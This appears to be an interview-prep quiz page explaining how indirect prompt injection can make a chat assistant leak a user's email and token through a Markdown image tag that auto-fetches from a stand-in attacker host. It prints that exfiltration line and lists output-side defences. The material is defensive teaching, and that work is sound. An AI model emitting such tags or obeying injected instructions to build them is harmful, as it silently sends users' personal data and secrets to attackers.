Spot the data-exfiltration vector in this assistant response

Attempt it

Click any words you think contain an error. Click again to unmark.

Mark at least one word to submit.

The line that looks like a friendly account-status message is hiding a data-exfiltration attack. The Markdown syntax ![status](https://attacker.example.com/log?email=...&token=...) embeds an image whose URL points to attacker-controlled infrastructure. The query string of the URL contains the user's email and a token. When the chat UI renders the response, it issues an HTTP GET to that URL to fetch the image. That GET carries the query string. The attacker's server logs the GET and now has the user's email and token. No click happens; no attachment is uploaded; the data leaks at render time. This is almost certainly the result of indirect prompt injection: a document, tool response, or earlier message convinced the model to embed this image as part of its output. The injection payload told the model to put the user's data in the URL. The fix is on the output rail. Strip Markdown image and link tags whose target host is not on an allowlist. Strip query parameters from URLs the model emits. Refuse to render inline images at all, or render only static placeholders, in any chat surface that handles sensitive data. The key idea is that Markdown is not cosmetic; it is an outbound network channel.

The response contains a **Markdown image tag** that points to attacker-controlled infrastructure with PII and a token embedded in the query string. The vector is: ``` ![status](https://attacker.example.com/log?email=jane@example.com&token=eyJhbGciOi) ``` When the chat renderer parses this Markdown, it issues an HTTP GET to attacker.example.com to fetch the image. The GET carries the entire URL including the query string, so the attacker's server logs the user's email and the token. The attack succeeds at render time with no user interaction. **Root cause.** Almost always indirect prompt injection. A retrieved document, a tool response, an earlier turn, or a malicious system-prompt component instructed the model to construct an exfiltration URL by interpolating user data into the query string. The model thought it was emitting an inline image; what it was actually doing was issuing a server-side outbound side-channel. **The output rail must do three things.** - **Allowlist image and link domains.** Only render images whose host is on a small explicit allowlist. Block all others, do not auto-rewrite. - **Strip query parameters from emitted URLs.** Even on allowlisted hosts, forbid query strings on rendered links unless they match a known-safe pattern. - **Refuse arbitrary URL emission near sensitive context.** If the model output includes PII, secrets, or session tokens anywhere, treat any URL in the same response as suspect and quarantine the response for review. **Equally important.** The same vector exists for plain Markdown links ([click here](https://...)). Image tags are worse because they auto-fetch without user click; links require a click but achieve the same exfiltration once clicked. The output rail handles both.

Quick reference

TL;DR

A Markdown image tag pointing at an attacker-controlled host with PII in the query string is a silent data-exfiltration channel, the chat renderer auto-fetches the image and leaks the data on every render.

Memory aid

Sign in for the mnemonic that makes this stick. See Pro pricing.

Easy to grasp

Picture a chatbot that can write replies including pictures. The user does not have to click anything; the picture just appears. Now imagine someone has tricked the chatbot into writing a picture whose address is a website the attacker owns, and the address has the user's email and a secret token stuck to the end of it like a luggage tag. Every time the reply is displayed, the user's screen quietly phones the attacker's server to fetch the picture, and the luggage tag is delivered with it. Nobody clicked. Nobody saw an image attach itself to anything. The data left through a channel that looks like a normal page render.

Key concepts

Safety and guardrails

Detailed answer & concept explanation

~7 min read

Everything you need to truly understand this topic: intuition, mechanics, step by step explanation, code, formulas, and worked example. Click to expand.

Everything you need to truly understand this topic: intuition, mechanics, step by step explanation, code, formulas, and worked example.

Sign in for 5 free unlocks/day or go Pro for unlimited. See Pro pricing.

Quick scan · 2–4 min

Everything important, quickly.

3 min: identify the Markdown image tag, explain the auto-fetch channel, attribute root cause to indirect injection, list the output-rail defences, and add renderer-policy defence in depth.

Real-world examples

Real products, models, and research that use this idea.

Published incident reports against early Microsoft Copilot, Google Bard, and several ChatGPT plugins all involved Markdown image exfiltration through indirect injection.
Simon Willison's blog series on prompt injection includes multiple documented Markdown-image exfiltration proofs against shipping products.
Anthropic, OpenAI, and Microsoft now publish guidance for product teams to disable auto-fetch on inline images in any chat surface that handles user data on Claude Opus 4.7 or GPT-5.5 deployments.

Interviewer follow-ups

What an interviewer would ask next. Try answering before peeking at the approach.

QHow would you detect that this attack succeeded in production?

Sign in or go Pro to see the approach for this follow-up.

QWhat about Markdown links instead of images?

Sign in or go Pro to see the approach for this follow-up.

QHow would you handle products that legitimately need rich image rendering?

Sign in or go Pro to see the approach for this follow-up.

Don't say this

Red flags and common mistakes that signal junior thinking. Click to expand.

Most common mistake

Treating Markdown rendering as cosmetic and not as an outbound network channel; any auto-fetched URL embedded in model output is a potential exfiltration vector.

Sign in or go Pro to see all red flags and common mistakes. See Pro pricing.

60-second cheat sheet

The night-before-the-interview bullets. Scan these on the way to the call.

Sign in for 5 unlocks/day or go Pro for unlimited revision sheets. See Pro pricing.

References

Primary sources. Skim if you want the original framing.